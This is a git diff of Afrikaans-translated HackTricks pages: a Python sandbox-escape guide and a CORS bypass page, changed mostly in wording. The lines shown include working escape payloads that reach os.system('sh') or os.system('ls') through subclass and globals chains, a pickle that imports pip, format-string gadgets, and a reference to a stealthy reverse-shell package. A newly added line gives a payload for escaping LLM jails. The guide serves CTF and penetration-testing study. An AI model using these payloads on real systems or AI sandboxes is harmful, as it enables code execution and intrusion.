diff --git a/generic-methodologies-and-resources/python/bypass-python-sandboxes/README.md b/generic-methodologies-and-resources/python/bypass-python-sandboxes/README.md index c8b9048ce..be8d482d0 100644 --- a/generic-methodologies-and-resources/python/bypass-python-sandboxes/README.md +++ b/generic-methodologies-and-resources/python/bypass-python-sandboxes/README.md @@ -15,19 +15,17 @@ Leer & oefen GCP Hacking: {% endhint %} -
+
**Kry 'n hacker se perspektief op jou webtoepassings, netwerk, en wolk** -**Vind en rapporteer kritieke, exploiteerbare kwesbaarhede met werklike besigheidsimpak.** Gebruik ons 20+ pasgemaakte gereedskap om die aanvaloppervlak te karteer, vind sekuriteitskwessies wat jou toelaat om voorregte te verhoog, en gebruik geoutomatiseerde eksploit om noodsaaklike bewyse te versamel, wat jou harde werk in oortuigende verslae omskep. +**Vind en rapporteer kritieke, exploiteerbare kwesbaarhede met werklike besigheidsimpak.** Gebruik ons 20+ pasgemaakte gereedskap om die aanvaloppervlak te karteer, vind sekuriteitskwessies wat jou toelaat om bevoegdhede te verhoog, en gebruik geoutomatiseerde eksploit om noodsaaklike bewyse te versamel, wat jou harde werk in oortuigende verslae omskep. {% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %} - - Hierdie is 'n paar truuks om python sandbox beskermings te omseil en arbitrêre opdragte uit te voer. -## Opdrag Uitvoering Biblioteke +## Command Execution Libraries Die eerste ding wat jy moet weet is of jy kode direk kan uitvoer met 'n reeds geïmporteerde biblioteek, of of jy enige van hierdie biblioteke kan invoer: ```python @@ -77,7 +75,7 @@ Python probeer om **biblioteke van die huidige gids eerste te laai** (die volgen ### Standaard pakkette Jy kan 'n **lys van vooraf geïnstalleerde** pakkette hier vind: [https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html](https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html)\ -Let daarop dat jy vanaf 'n pickle die python omgewing kan **arbitraire biblioteke** wat in die stelsel geïnstalleer is, **importeer**.\ +Let daarop dat jy vanaf 'n pickle die python omgewing kan **importeer arbitrêre biblioteke** wat in die stelsel geïnstalleer is.\ Byvoorbeeld, die volgende pickle, wanneer dit gelaai word, gaan die pip biblioteek importeer om dit te gebruik: ```python #Note that here we are importing the pip library so the pickle is created correctly @@ -107,7 +105,7 @@ You can download the package to create the reverse shell here. Please, note that {% file src="../../../.gitbook/assets/Reverse.tar (1).gz" %} {% hint style="info" %} -Hierdie pakket word `Reverse` genoem. Dit is egter spesiaal gemaak sodat wanneer jy die reverse shell verlaat, die res van die installasie sal misluk, sodat jy **nie enige ekstra python pakket op die bediener agterlaat** wanneer jy vertrek nie. +Hierdie pakket word `Reverse` genoem. Dit is egter spesiaal gemaak sodat wanneer jy die reverse shell verlaat, die res van die installasie sal misluk, so jy **sal nie enige ekstra python pakket op die bediener agterlaat** wanneer jy vertrek. {% endhint %} ## Eval-ing python code @@ -173,11 +171,11 @@ return x #+AAo-print(open("/flag.txt").read()) """.lstrip() ``` -Dit is ook moontlik om dit te omseil met ander kodering, bv. `raw_unicode_escape` en `unicode_escape`. +Dit is ook moontlik om dit te omseil met ander koderinge, bv. `raw_unicode_escape` en `unicode_escape`. ## Python-uitvoering sonder oproepe -As jy binne 'n python-jail is wat **nie toelaat dat jy oproepe maak nie**, is daar steeds 'n paar maniere om **arbitêre funksies, kode** en **opdragte** uit te voer. +As jy binne 'n python-gevangenis is wat **nie toelaat dat jy oproepe maak nie**, is daar steeds 'n paar maniere om **arbitêre funksies, kode** en **opdragte** uit te voer. ### RCE met [decorators](https://docs.python.org/3/glossary.html#term-decorator) ```python @@ -207,7 +205,7 @@ As jy 'n **klas kan verklaar** en 'n **objek van daardie klas kan skep**, kan jy #### RCE met pasgemaakte klasse -Jy kan sommige **klasmetodes** (_deur bestaande klasmetodes te oorlaai of 'n nuwe klas te skep_) aanpas om hulle **arbitraire kode** te laat **uitvoer** wanneer hulle **geaktiveer** word sonder om hulle direk aan te roep. +Jy kan sommige **klasmetodes** (_deur bestaande klasmetodes te oorlaai of 'n nuwe klas te skep_) wysig om hulle **arbitraire kode** te laat **uitvoer** wanneer hulle **geaktiveer** word sonder om hulle direk aan te roep. ```python # This class has 3 different ways to trigger RCE without directly calling any function class RCE: @@ -259,7 +257,7 @@ __ixor__ (k ^= 'import os; os.system("sh")') ``` #### Crating objects with [metaclasses](https://docs.python.org/3/reference/datamodel.html#metaclasses) -Die belangrikste ding wat metaklasse ons toelaat om te doen, is **om 'n instansie van 'n klas te maak, sonder om die konstruktors direk aan te roep**, deur 'n nuwe klas te skep met die teiken klas as 'n metaklas. +Die belangrikste ding wat metaklasse ons toelaat om te doen, is **om 'n instansie van 'n klas te maak, sonder om die konstruktors direk aan te roep**, deur 'n nuwe klas te skep met die teikenkas as 'n metaklas. ```python # Code from https://ur4ndom.dev/posts/2022-07-04-gctf-treebox/ and fixed # This will define the members of the "subclass" @@ -318,7 +316,7 @@ __iadd__ = eval __builtins__.__import__ = X {}[1337] ``` -### Lees lêer met ingeboude hulp en lisensie +### Lees lêer met ingeboude hulp & lisensie ```python __builtins__.__dict__["license"]._Printer__filenames=["flag"] a = __builtins__.help @@ -340,9 +338,9 @@ __builtins__.__dict__['__import__']("os").system("ls") ### Geen Builtins Wanneer jy nie `__builtins__` het nie, gaan jy nie in staat wees om enigiets te importeer of selfs lêers te lees of te skryf nie, aangesien **alle globale funksies** (soos `open`, `import`, `print`...) **nie gelaai is nie**.\ -E however, **standaard importeer python 'n baie modules in geheue**. Hierdie modules mag onskuldig voorkom, maar sommige van hulle **importeer ook gevaarlike** funksionaliteite binne-in hulle wat toegang verkry kan word om selfs **arbitraire kode-uitvoering** te verkry. +E however, **standaard importeer python 'n baie modules in geheue**. Hierdie modules mag onskuldig voorkom, maar sommige van hulle **importeer ook gevaarlike** funksies binne hulle wat toegang verkry kan word om selfs **arbitraire kode-uitvoering** te verkry. -In die volgende voorbeelde kan jy sien hoe om **misbruik** te maak van sommige van hierdie "**onskuldige**" modules wat gelaai is om **toegang** te verkry tot **gevaarlike** **funksies** binne-in hulle. +In die volgende voorbeelde kan jy sien hoe om sommige van hierdie "**onskuldige**" modules te **misbruik** wat gelaai is om **toegang** te verkry tot **gevaarlike** **funksies** binne hulle. **Python2** ```python @@ -426,15 +424,15 @@ class_obj.__init__.__globals__ [ x for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__)] [, , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , ] ``` -[**Hieronder is daar 'n groter funksie**](./#recursive-search-of-builtins-globals) om tientalle/**honderde** **plekke** te vind waar jy die **globals** kan vind. +[**Hieronder is 'n groter funksie**](./#recursive-search-of-builtins-globals) om tientalle/**honderde** **plekke** te vind waar jy die **globals** kan vind. ## Ontdek Arbitrêre Uitvoering -Hier wil ek verduidelik hoe om maklik **meer gevaarlike funksies** te ontdek wat gelaai is en meer betroubare exploits voor te stel. +Hier wil ek verduidelik hoe om maklik **meer gevaarlike funksies** te ontdek en meer betroubare exploits voor te stel. #### Toegang tot subklasse met omseilings -Een van die sensitiefste dele van hierdie tegniek is om in staat te wees om die **basis subklasse** te **toegang**. In die vorige voorbeelde is dit gedoen met `''.__class__.__base__.__subclasses__()` maar daar is **ander moontlike maniere**: +Een van die sensitiefste dele van hierdie tegniek is om die **basis subklasse** te kan **toegang**. In die vorige voorbeelde is dit gedoen met `''.__class__.__base__.__subclasses__()` maar daar is **ander moontlike maniere**: ```python #You can access the base from mostly anywhere (in regular conditions) "".__class__.__base__.__subclasses__() @@ -464,16 +462,16 @@ defined_func.__class__.__base__.__subclasses__() ``` ### Vind gevaarlike biblioteke wat gelaai is -Byvoorbeeld, om te weet dat met die biblioteek **`sys`** dit moontlik is om **arbitraire biblioteke te importeer**, kan jy soek na al die **modules wat gelaai is wat sys binne hulle geïmporteer het**: +Byvoorbeeld, om te weet dat dit met die biblioteek **`sys`** moontlik is om **arbitraire biblioteke te importeer**, kan jy soek na al die **modules wat gelaai is wat sys binne hulle geïmporteer het**: ```python [ x.__name__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "sys" in x.__init__.__globals__ ] ['_ModuleLock', '_DummyModuleLock', '_ModuleLockManager', 'ModuleSpec', 'FileLoader', '_NamespacePath', '_NamespaceLoader', 'FileFinder', 'zipimporter', '_ZipImportResourceReader', 'IncrementalEncoder', 'IncrementalDecoder', 'StreamReaderWriter', 'StreamRecoder', '_wrap_close', 'Quitter', '_Printer', 'WarningMessage', 'catch_warnings', '_GeneratorContextManagerBase', '_BaseExitStack', 'Untokenizer', 'FrameSummary', 'TracebackException', 'CompletedProcess', 'Popen', 'finalize', 'NullImporter', '_HackedGetData', '_localized_month', '_localized_day', 'Calendar', 'different_locale', 'SSLObject', 'Request', 'OpenerDirector', 'HTTPPasswordMgr', 'AbstractBasicAuthHandler', 'AbstractDigestAuthHandler', 'URLopener', '_PaddedFile', 'CompressedValue', 'LogRecord', 'PercentStyle', 'Formatter', 'BufferingFormatter', 'Filter', 'Filterer', 'PlaceHolder', 'Manager', 'LoggerAdapter', '_LazyDescr', '_SixMetaPathImporter', 'MimeTypes', 'ConnectionPool', '_LazyDescr', '_SixMetaPathImporter', 'Bytecode', 'BlockFinder', 'Parameter', 'BoundArguments', 'Signature', '_DeprecatedValue', '_ModuleWithDeprecations', 'Scrypt', 'WrappedSocket', 'PyOpenSSLContext', 'ZipInfo', 'LZMACompressor', 'LZMADecompressor', '_SharedFile', '_Tellable', 'ZipFile', 'Path', '_Flavour', '_Selector', 'JSONDecoder', 'Response', 'monkeypatch', 'InstallProgress', 'TextProgress', 'BaseDependency', 'Origin', 'Version', 'Package', '_Framer', '_Unframer', '_Pickler', '_Unpickler', 'NullTranslations'] ``` -Daar is baie, en **ons het net een** nodig om opdragte uit te voer: +Daar is baie, en **ons het net een nodig** om opdragte uit te voer: ```python [ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "sys" in x.__init__.__globals__ ][0]["sys"].modules["os"].system("ls") ``` -Ons kan dieselfde ding doen met **ander biblioteke** waarvan ons weet dat dit gebruik kan word om **opdragte** uit te voer: +Ons kan dieselfde ding doen met **ander biblioteke** wat ons weet kan gebruik word om **opdragte** uit te voer: ```python #os [ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "os" in x.__init__.__globals__ ][0]["os"].system("ls") @@ -527,7 +525,7 @@ builtins: FileLoader, _NamespacePath, _NamespaceLoader, FileFinder, IncrementalE pdb: """ ``` -Boonop, as jy dink **ander biblioteke** mag in staat wees om **funksies aan te roep om opdragte uit te voer**, kan ons ook **filter op funksie name** binne die moontlike biblioteke: +Boonop, as jy dink **ander biblioteke** mag in staat wees om **funksies aan te roep om opdragte uit te voer**, kan ons ook **filter op funksiename** binne die moontlike biblioteke: ```python bad_libraries_names = ["os", "commands", "subprocess", "pty", "importlib", "imp", "sys", "builtins", "pip", "pdb"] bad_func_names = ["system", "popen", "getstatusoutput", "getoutput", "call", "Popen", "spawn", "import_module", "__import__", "load_source", "execfile", "execute", "__builtins__"] @@ -712,12 +710,12 @@ Let op hoe jy **toegang kan verkry tot eienskappe** op 'n normale manier met 'n Neem ook kennis dat jy `.__dict__` kan gebruik om elemente van 'n objek op te som `get_name_for_avatar("{people_obj.__init__.__globals__[os].__dict__}", people_obj = people)` -Sommige ander interessante eienskappe van formaat stringe is die moontlikheid om die **funksies** **`str`**, **`repr`** en **`ascii`** in die aangeduide objek uit te voer deur **`!s`**, **`!r`**, **`!a`** onderskeidelik by te voeg: +Sommige ander interessante eienskappe van formaat stringe is die moontlikheid om **uit te voer** die **funksies** **`str`**, **`repr`** en **`ascii`** in die aangeduide objek deur **`!s`**, **`!r`**, **`!a`** onderskeidelik by te voeg: ```python st = "{people_obj.__init__.__globals__[CONFIG][KEY]!a}" get_name_for_avatar(st, people_obj = people) ``` -Boonop is dit moontlik om **nuwe formattere** in klasse te **kodeer**: +Boonop is dit moontlik om **nuwe formateerders** in klasse te **kodeer**: ```python class HAL9000(object): def __format__(self, format): @@ -754,18 +752,22 @@ secret_variable = "clueless" x = new_user.User(username='{i.find.__globals__[so].mapperlib.sys.modules[__main__].secret_variable}',password='lol') str(x) # Out: clueless ``` +### LLM Jails omseil + +From [here](https://www.cyberark.com/resources/threat-research-blog/anatomy-of-an-llm-rce): `().class.base.subclasses()[108].load_module('os').system('dir')` + ### Van formaat na RCE laai biblioteke Volgens die [**TypeMonkey uitdagings van hierdie skrywe**](https://corgi.rip/posts/buckeye-writeups/) is dit moontlik om arbitrêre biblioteke vanaf skyf te laai deur die formaat string kwesbaarheid in python te misbruik. -As herinnering, elke keer wanneer 'n aksie in python uitgevoer word, word 'n funksie uitgevoer. Byvoorbeeld `2*3` sal **`(2).mul(3)`** uitvoer of **`{'a':'b'}['a']`** sal **`{'a':'b'}.__getitem__('a')`** wees. +As 'n herinnering, elke keer as 'n aksie in python uitgevoer word, word 'n funksie uitgevoer. Byvoorbeeld `2*3` sal **`(2).mul(3)`** of **`{'a':'b'}['a']`** sal **`{'a':'b'}.__getitem__('a')`** wees. -Jy kan meer hiervan in die afdeling [**Python uitvoering sonder oproepe**](./#python-execution-without-calls) vind. +Jy het meer soos dit in die afdeling [**Python uitvoering sonder oproepe**](./#python-execution-without-calls). -'n Python formaat string kwesbaarheid laat nie toe om 'n funksie uit te voer nie (dit laat nie toe om haakies te gebruik nie), so dit is nie moontlik om RCE te kry soos `'{0.system("/bin/sh")}'.format(os)`.\ -Tog, dit is moontlik om `[]` te gebruik. Daarom, as 'n algemene python biblioteek 'n **`__getitem__`** of **`__getattr__`** metode het wat arbitrêre kode uitvoer, is dit moontlik om dit te misbruik om RCE te verkry. +'n Python formaat string kwesbaarheid laat nie toe om 'n funksie uit te voer (dit laat nie toe om haakies te gebruik nie), so dit is nie moontlik om RCE te kry soos `'{0.system("/bin/sh")}'.format(os)`.\ +Tog, dit is moontlik om `[]` te gebruik. Daarom, as 'n algemene python biblioteek 'n **`__getitem__`** of **`__getattr__`** metode het wat arbitrêre kode uitvoer, is dit moontlik om dit te misbruik om RCE te kry. -Soek na 'n gadget soos dit in python, die skrywe stel hierdie [**Github soekquery**](https://github.com/search?q=repo%3Apython%2Fcpython+%2Fdef+%28\_\_getitem\_\_%7C\_\_getattr\_\_%29%2F+path%3ALib%2F+-path%3ALib%2Ftest%2F\&type=code) voor. Waar hy hierdie [een](https://github.com/python/cpython/blob/43303e362e3a7e2d96747d881021a14c7f7e3d0b/Lib/ctypes/\_\_init\_\_.py#L463) gevind het: +Soek na 'n gadget soos dit in python, die skrywe stel hierdie [**Github soeknavraag**](https://github.com/search?q=repo%3Apython%2Fcpython+%2Fdef+%28\_\_getitem\_\_%7C\_\_getattr\_\_%29%2F+path%3ALib%2F+-path%3ALib%2Ftest%2F\&type=code) voor. Waar hy hierdie [een](https://github.com/python/cpython/blob/43303e362e3a7e2d96747d881021a14c7f7e3d0b/Lib/ctypes/\_\_init\_\_.py#L463) gevind het: ```python class LibraryLoader(object): def __init__(self, dlltype): @@ -787,19 +789,19 @@ return getattr(self, name) cdll = LibraryLoader(CDLL) pydll = LibraryLoader(PyDLL) ``` -Hierdie toestel laat toe om **'n biblioteek vanaf die skyf** te **laai**. Daarom is dit nodig om op een of ander manier **die biblioteek te skryf of op te laai** wat korrek saamgekom is na die aangevalde bediener. +Hierdie toestel laat toe om 'n **biblioteek vanaf die skyf** te **laai**. Daarom is dit nodig om op een of ander manier die **biblioteek te skryf of op te laai** wat korrek saamgekom is na die aangevalde bediener. ```python '{i.find.__globals__[so].mapperlib.sys.modules[ctypes].cdll[/path/to/file]}' ``` Die uitdaging misbruik eintlik 'n ander kwesbaarheid in die bediener wat toelaat om arbitrêre lêers in die bediener se skyf te skep. -## Ontleding van Python-objekte +## Ontleed Python-Objekte {% hint style="info" %} As jy wil **leer** oor **python bytecode** in diepte, lees hierdie **wonderlike** pos oor die onderwerp: [**https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d**](https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d) {% endhint %} -In sommige CTFs kan jy die naam van 'n **aangepaste funksie waar die vlag** geleë is, ontvang en jy moet die **binnekant** van die **funksie** ondersoek om dit te onttrek. +In sommige CTFs kan jy die naam van 'n **aangepaste funksie waar die vlag** woon, ontvang en jy moet die **binnekant** van die **funksie** ondersoek om dit te onttrek. Dit is die funksie om te ondersoek: ```python @@ -922,7 +924,7 @@ dis.dis(get_flag) 44 LOAD_CONST 0 (None) 47 RETURN_VALUE ``` -Let wel dat **as jy nie `dis` in die python sandbox kan invoer nie**, kan jy die **bytecode** van die funksie (`get_flag.func_code.co_code`) verkry en dit plaaslik **ontleed**. Jy sal nie die inhoud van die veranderlikes wat gelaai word (`LOAD_CONST`) sien nie, maar jy kan dit raai vanaf (`get_flag.func_code.co_consts`) omdat `LOAD_CONST` ook die offset van die veranderlike wat gelaai word, aandui. +Let wel dat **as jy nie `dis` in die python sandbox kan invoer nie**, jy die **bytecode** van die funksie (`get_flag.func_code.co_code`) kan verkry en dit lokaal kan **ontbind**. Jy sal nie die inhoud van die veranderlikes wat gelaai word (`LOAD_CONST`) sien nie, maar jy kan dit raai vanaf (`get_flag.func_code.co_consts`) omdat `LOAD_CONST` ook die offset van die veranderlike wat gelaai word, aandui. ```python dis.dis('d\x01\x00}\x01\x00d\x02\x00}\x02\x00d\x03\x00d\x04\x00g\x02\x00}\x03\x00|\x00\x00|\x02\x00k\x02\x00r(\x00d\x05\x00Sd\x06\x00Sd\x00\x00S') 0 LOAD_CONST 1 (1) @@ -960,9 +962,9 @@ return calc_flag("VjkuKuVjgHnci") else: return "Nope" ``` -### Creating the code object +### Die skep van die kode objek -Eerstens moet ons weet **hoe om 'n kode objek te skep en uit te voer** sodat ons een kan skep om ons funksie te voer wat gelek het: +Eerstens, ons moet weet **hoe om 'n kode objek te skep en uit te voer** sodat ons een kan skep om ons funksie te voer wat gelek het: ```python code_type = type((lambda: None).__code__) # Check the following hint if you get an error in calling this @@ -993,7 +995,7 @@ types.CodeType.__doc__ ### Herstel van 'n gelekte funksie {% hint style="warning" %} -In die volgende voorbeeld gaan ons al die data neem wat nodig is om die funksie direk uit die funksie kode objek te herstel. In 'n **werklike voorbeeld** is al die **waardes** om die funksie **`code_type`** uit te voer wat **jy sal moet lek**. +In die volgende voorbeeld gaan ons al die data neem wat nodig is om die funksie direk uit die funksie kode objek te herstel. In 'n **werklike voorbeeld** is al die **waardes** om die funksie **`code_type`** uit te voer wat **jy nodig sal hê om te lek**. {% endhint %} ```python fc = get_flag.__code__ @@ -1007,7 +1009,7 @@ function_type(code_obj, mydict, None, None, None)("secretcode") ``` ### Bypass Defenses -In vorige voorbeelde aan die begin van hierdie pos, kan jy **hoe om enige python kode uit te voer met die `compile` funksie** sien. Dit is interessant omdat jy **hele skripte** met lusse en alles in 'n **eenlyn** kan **uitvoer** (en ons kan dieselfde doen met **`exec`**).\ +In vorige voorbeelde aan die begin van hierdie pos, kan jy sien **hoe om enige python kode uit te voer met die `compile` funksie**. Dit is interessant omdat jy **hele skripte** met lusse en alles in 'n **eenlyn** kan uitvoer (en ons kan dieselfde doen met **`exec`**).\ In elk geval, soms kan dit nuttig wees om 'n **gecompileerde objek** op 'n plaaslike masjien te **skep** en dit in die **CTF masjien** uit te voer (byvoorbeeld omdat ons nie die `compiled` funksie in die CTF het nie). Vir voorbeeld, kom ons compileer en voer handmatig 'n funksie uit wat _./poc.py_ lees: @@ -1047,7 +1049,7 @@ f(42) ``` ## Decompiling Compiled Python -Met behulp van gereedskap soos [**https://www.decompiler.com/**](https://www.decompiler.com) kan 'n mens gegewe gecompileerde python kode **decompile**. +Met die gebruik van gereedskap soos [**https://www.decompiler.com/**](https://www.decompiler.com) kan 'n mens **decompile** gegewe gecompileerde python kode. **Kyk na hierdie tutoriaal**: @@ -1059,7 +1061,7 @@ Met behulp van gereedskap soos [**https://www.decompiler.com/**](https://www.dec ### Assert -Python wat met optimalisering uitgevoer word met die parameter `-O` sal assert stellings en enige kode wat voorwaardelik is op die waarde van **debug** verwyder.\ +Python wat met optimalisering uitgevoer word met die param `-O` sal assert stellings en enige kode wat voorwaardelik is op die waarde van **debug** verwyder.\ Daarom, kontroles soos ```python def check_permission(super_user): @@ -1080,7 +1082,7 @@ will be bypassed * [https://nedbatchelder.com/blog/201206/eval\_really\_is\_dangerous.html](https://nedbatchelder.com/blog/201206/eval\_really\_is\_dangerous.html) * [https://infosecwriteups.com/how-assertions-can-get-you-hacked-da22c84fb8f6](https://infosecwriteups.com/how-assertions-can-get-you-hacked-da22c84fb8f6) -
+
**Kry 'n hacker se perspektief op jou webtoepassings, netwerk, en wolk** @@ -1098,7 +1100,7 @@ Leer & oefen GCP Hacking: {% endhint %} diff --git a/pentesting-web/cors-bypass.md b/pentesting-web/cors-bypass.md index 99ee15dc3..da31e06f0 100644 --- a/pentesting-web/cors-bypass.md +++ b/pentesting-web/cors-bypass.md @@ -21,9 +21,9 @@ Leer & oefen GCP Hacking: Arun'); ### Understanding Pre-flight Requests in Cross-Domain Communication -Wanneer 'n kruis-domein versoek onder spesifieke toestande geïnisieer word, soos om 'n **nie-standaard HTTP metode** (enige iets anders as HEAD, GET, POST) te gebruik, nuwe **koppe** in te voer, of 'n spesiale **Content-Type kop waarde** te gebruik, kan 'n pre-flight versoek vereis word. Hierdie voorlopige versoek, wat die **`OPTIONS`** metode benut, dien om die bediener in kennis te stel van die komende kruis-oorsprong versoek se bedoelings, insluitend die HTTP metodes en koppe wat dit van plan is om te gebruik. +Wanneer 'n kruis-domein versoek onder spesifieke toestande geïnisieer word, soos om 'n **nie-standaard HTTP-metode** (enige iets anders as HEAD, GET, POST) te gebruik, nuwe **koppe** in te voer, of 'n spesiale **Content-Type kopwaarde** te gebruik, kan 'n pre-flight versoek vereis word. Hierdie voorlopige versoek, wat die **`OPTIONS`** metode benut, dien om die bediener in kennis te stel van die komende kruis-oorsprong versoek se bedoelings, insluitend die HTTP-metodes en koppe wat dit van plan is om te gebruik. Die **Cross-Origin Resource Sharing (CORS)** protokol vereis hierdie pre-flight kontrole om die haalbaarheid van die aangevraagde kruis-oorsprong operasie te bepaal deur die toegelate metodes, koppe, en die betroubaarheid van die oorsprong te verifieer. Vir 'n gedetailleerde begrip van watter toestande die behoefte aan 'n pre-flight versoek omseil, verwys na die omvattende gids wat deur [**Mozilla Developer Network (MDN)**](https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS#simple\_requests) verskaf word. -Dit is belangrik om op te let dat die **afwesigheid van 'n pre-flight versoek nie die vereiste vir die antwoord om magtigingskoppe te dra, ontken nie**. Sonder hierdie koppe is die blaaiers onbevoeg om die antwoord van die kruis-oorsprong versoek te verwerk. +Dit is belangrik om op te let dat die **afwesigheid van 'n pre-flight versoek nie die vereiste vir die antwoord om magtigingskoppe te dra, ontken nie**. Sonder hierdie koppe is die blaaiers nie in staat om die antwoord van die kruis-oorsprong versoek te verwerk nie. Oorweeg die volgende illustrasie van 'n pre-flight versoek wat daarop gemik is om die `PUT` metode saam met 'n pasgemaakte kop genaamd `Special-Request-Header` te gebruik: ``` @@ -133,7 +133,7 @@ Content-Length: 0 {% hint style="warning" %} Let daarop dat die linux **0.0.0.0** IP werk om **bypass** hierdie vereistes om toegang tot localhost te verkry, aangesien daardie IP-adres nie as "lokale" beskou word nie. -Dit is ook moontlik om die **Local Network vereistes te bypass** as jy die **publieke IP-adres van 'n lokale eindpunt** (soos die publieke IP van die router) gebruik. Want in verskeie gevalle, selfs al word die **publieke IP** aangespreek, as dit **van die lokale netwerk** is, sal toegang toegestaan word. +Dit is ook moontlik om die **Local Network vereistes te omseil** as jy die **publieke IP-adres van 'n lokale eindpunt** (soos die publieke IP van die router) gebruik. Want in verskeie gevalle, selfs al word die **publieke IP** aangespreek, as dit **van die lokale netwerk** is, sal toegang toegestaan word. {% endhint %} ### Wildcards @@ -151,11 +151,11 @@ Dit is waargeneem dat die instelling van `Access-Control-Allow-Credentials` na * ### Exception: Exploiting Network Location as Authentication -Daar is 'n uitsondering waar die slagoffer se netwerk ligging as 'n vorm van verifikasie optree. Dit laat toe dat die slagoffer se blaaiers as 'n proxy gebruik word, wat IP-gebaseerde verifikasie om intranet toepassings te benader, omseil. Hierdie metode deel ooreenkomste in impak met DNS rebinding, maar is eenvoudiger om te benut. +Daar bestaan 'n uitsondering waar die slagoffer se netwerk ligging as 'n vorm van verifikasie optree. Dit laat toe dat die slagoffer se blaaiers as 'n proxy gebruik word, wat IP-gebaseerde verifikasie om intranet toepassings te benader, omseil. Hierdie metode deel ooreenkomste in impak met DNS rebinding, maar is eenvoudiger om te benut. ### Reflection of `Origin` in `Access-Control-Allow-Origin` -Die werklike scenario waar die `Origin` koptekst se waarde in `Access-Control-Allow-Origin` weerspieël word, is teoreties onwaarskynlik weens beperkings op die kombinasie van hierdie koptekste. Tog kan ontwikkelaars wat CORS vir verskeie URL's wil aktiveer, die `Access-Control-Allow-Origin` koptekst dinamies genereer deur die `Origin` koptekst se waarde te kopieer. Hierdie benadering kan kwesbaarhede inbring, veral wanneer 'n aanvaller 'n domein gebruik met 'n naam wat ontwerp is om wettig te lyk, en sodoende die valideringslogika mislei. +Die werklike scenario waar die `Origin` koptekst se waarde in `Access-Control-Allow-Origin` weerspieël word, is teoreties onwaarskynlik weens beperkings op die kombinasie van hierdie koptekste. Nietemin, ontwikkelaars wat CORS vir verskeie URL's wil aktiveer, mag die `Access-Control-Allow-Origin` koptekst dinamies genereer deur die `Origin` koptekst se waarde te kopieer. Hierdie benadering kan kwesbaarhede inbring, veral wanneer 'n aanvaller 'n domein gebruik met 'n naam wat ontwerp is om legitiem te lyk, en sodoende die valideringslogika mislei. ```html